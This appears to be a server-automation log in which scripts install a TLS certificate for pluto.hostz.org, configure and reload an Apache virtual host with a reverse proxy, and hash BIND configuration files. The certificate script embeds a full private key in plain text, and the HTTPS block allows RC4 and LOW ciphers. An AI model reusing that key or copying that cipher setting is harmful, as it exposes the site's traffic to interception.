MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 18:55:47: Establishing a connection
2026-04-20 18:55:48: 

PUT: /tmp/pkp604505

#!/bin/bash
temp_file=$(mktemp)
TARGET=68fedc5efe490e129eb9aeeb5aa22807.crt

cat > $temp_file <<'endmsg'
68:fe:dc:5e:fe:49:0e:12:9e:b9:ae:eb:5a:a2:28:07

-----BEGIN CERTIFICATE-----
MIIDWTCCAkGgAwIBAgIUZQnTpC8U7kB/D08kVGArSNC4hO4wDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDQyMDE4NTU0N1oXDTI3MDQyMDE4NTU0N1ow
GjEYMBYGA1UEAwwPcGx1dG8uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxEm9PWEGDIctDGGcU+fGZ588JyFatLy5D2NJKvugbWaIXX6c
GL+0LmLEQIqG6V6Zos7jG9dlrdXdca+QyQOcRZS4NFtmekcdQlLByG+aTbUH+I16
kGjtTnLdBkmjL8mmPLDBsxrXDh6te6ZGEetXuEysArb71GGVpwu4YukXd7gbSfj4
TK3wep86atIaollFKQD/5pJd0hDBpBrhraWQyRZcXUdnpogY1fZrBQolR1bpwRCS
R/U8cWy2UJ3wZ5jf6edjMO2FI8x2dSczQ+3xntSVI1NKkalDXhNSKynC9s+rru9y
fd243rTD+18ojv6Nxa7Q1TmJaCwkFyQZsgfa5wIDAQABo3YwdDAdBgNVHQ4EFgQU
+oiTlhpo1HxA2uOEsec9xKgMEJQwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCkAziC
V0swc/wwCwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwGgYDVR0RBBMwEYIPcGx1dG8u
aG9zdHoub3JnMA0GCSqGSIb3DQEBCwUAA4IBAQAYDrwEFfbPHCiZswmD5kIvLmJ1
NCdqHEGnnz0AT7pg69pS/q4tJSmMQD+s+rL/GLcqysISKM9i7OYNL+zhfcTYES3x
iDXXBeBIx0ild3amSnKaCuttfVq6Gx8NfvD8aKESHc+oQwRF+6KhfGgiBbe8lB69
fOdHklJy9YgQ2jqRidy/R+sDxNf3jsaQMcky3SFsCrceVQsr5x3woIXK9Sy0E5RP
xOrupW1wg+jn5h7YDQuGzEQLvpW0ztzpAATHQ2cIeutt64iBlI8VRxKFObY3KCsi
Gj7NxJ2CDbfu+oLXMIboGTrMd13OVpC19z8P3kDT7K+MaleIiIMxx/jIF4FC
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDESb09YQYMhy0M
YZxT58ZnnzwnIVq0vLkPY0kq+6BtZohdfpwYv7QuYsRAiobpXpmizuMb12Wt1d1x
r5DJA5xFlLg0W2Z6Rx1CUsHIb5pNtQf4jXqQaO1Oct0GSaMvyaY8sMGzGtcOHq17
pkYR61e4TKwCtvvUYZWnC7hi6Rd3uBtJ+PhMrfB6nzpq0hqiWUUpAP/mkl3SEMGk
GuGtpZDJFlxdR2emiBjV9msFCiVHVunBEJJH9TxxbLZQnfBnmN/p52Mw7YUjzHZ1
JzND7fGe1JUjU0qRqUNeE1IrKcL2z6uu73J93bjetMP7XyiO/o3FrtDVOYloLCQX
JBmyB9rnAgMBAAECggEAQlej+OdemoRjovAo3KkVQ3er5pPc6wJwT/WgSMFUVzWU
+Hiu/KRqm1TxfNj1QVIifkcLtqDGMot6tY5/0pkAS/o4iiWsTL7VclGzQnIKBqKd
p5H173IvZtjmwFXKLIAsyg154nW7Yv/WZdjsjOjstJNhfedn1UAISzXoY7HhpyoA
jRmdl7/vsl/nXU6x4aUAXOCl8JxNLuHMpVZ7/QHlrY6fiBQn6lCb+155ZlSge4n5
c0QU4Go25mpdlv3i3pzTxZD7b3Z1wD7j1N/Im3AiRtTXsTNUGujmS+dhkggkcosV
MyyhK5ytSD2i9Hk3Vr7zS2wRh29nviJg1RmuU1yXIQKBgQDqV0l6hv7gy+29DCVe
FSPyaUiJlHuce1BS1R7oAI1+m4D2m42+BhryChmSgY+q4mKy+2o7uomz4iZOBuGt
dXlNB/YfFpEJPp2DLgwqIzGE9sOeEzXt1W49OAFC9c4tFyyvboHS4QyQTVBQhuBM
YAaOtNMBizheqBRERYmPH1m34QKBgQDWbhYv73IgQfvzXg/AY/YuCd3FcdnxbrXO
OtRpL9ZaoxhBBno6/Sxl+X3NGl7IfyYqK/1CR+zJYhDJhuuG1VlifNSZHn6EiyOK
18pGAN6pFBdK3UwIao4Yc7RkwDRoC/bfCCbjia4N7GymDTkqfBBsF9dAPREhoBtm
T7MPm8tLxwKBgQDkstEUEiE2k+7tm6fwPKN7VYKkOlO0sKgAXtutwbRVRj/C7KaV
N/IeGvs//s+ODygR0smnhvISqveFGLQwi8AZDFcHmgdrxT8Foe/fQ791KzpX0BnG
hY/zkO+yQJ+5Y6+Jekia3GVdgwaJwEewYdqkdRakoBEgV9qHknGgSxFNIQKBgG5R
gt60jP2llO8XRHlRtFTpRIyRT3RT5fss7x0SvHAzGoZRw87Xc+Ee46cC2yLBr6vg
p9JS2LKe3k4gOMpMt0jhOitwsdyVDPsgm/M5/VP1fypIAhcOYv6XgIaZEB07ko4a
To+fxMlrCla/1NpTq8tA1MA66rZm/dG8TT5Jg+T/AoGAXgOFEqtK0QC3xDGnxj/o
Fp8CIxCL6Q89QR+5lNmuTdccMYcld2Wn+GEF9topnMF1kRh6pPwiNicOWlCRJOIY
W9Pxc7FlmMCusUlvZy1B0okuNZa1KONgun3K+M3/W6KcCqR7NMRVBwIo7j2Tfwke
h9CBTy1Aq97dAOoyr/gkaUc=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-20 18:55:49: 

chmod 755 /tmp/pkp604505; /tmp/pkp604505; rm /tmp/pkp604505

2026-04-20 18:55:49: 


dir=/etc/ssl/certs


2026-04-20 18:55:49: 

PUT: /tmp/pkp737761

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_pluto_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 18:55:50: 

chmod 755 /tmp/pkp737761; /tmp/pkp737761; rm /tmp/pkp737761

2026-04-20 18:55:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_pluto_org.conf 39
<VirtualHost *:80>
    ServerName  pluto.hostz.org
    ServerAdmin do_not_email@example.com
    DocumentRoot        /var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options +FollowSymLinks -MultiViews
        AllowOverride   All
        Order   allow,deny
        allow   from all
    </Directory>

    CustomLog   /var/log/apache2/hostz/pluto_access.log combined
    ErrorLog    /var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid      28
    SetEnv pkp_owner    stoughton
    DirectoryIndex      index.html index.htm index.py

    ProxyRequests       off
    ProxyVia    on
    ProxyPass   / http://192.168.1.71/
    ProxyPassReverse    / http://192.168.1.71/

</VirtualHost>




2026-04-20 18:55:50: 

PUT: /tmp/pkp204657

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_pluto_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_pluto_org.conf
DOCROOT=/var/www/hostz_pluto
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    
    ProxyRequests	off
    ProxyVia	on
    ProxyPass	/ http://192.168.1.71/
    ProxyPassReverse	/ http://192.168.1.71/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/hostz/pluto_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_secure_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/hostz
	mkdir -p $DOCROOT/$PUBLIC
	chown -R stoughton:stoughton $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_pluto_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_pluto_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_pluto_org.conf= 1'
fi


2026-04-20 18:55:50: 

chmod 755 /tmp/pkp204657; /tmp/pkp204657; rm /tmp/pkp204657

2026-04-20 18:55:50: 


link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_pluto_org.conf
file(/etc/apache2//etc/apache2/sites-enabled/hostz_pluto_org.conf= 1


2026-04-20 18:55:50: 

PUT: /tmp/pkp130024

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-20 18:55:51: 

chmod 755 /tmp/pkp130024; /tmp/pkp130024; rm /tmp/pkp130024

2026-04-20 18:55:51: 


.


2026-04-20 18:55:51: Establishing a connection
2026-04-20 18:55:52: 

PUT: /tmp/pkp888914

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 18:55:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp888914; rm /tmp/pkp888914'

2026-04-20 18:55:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
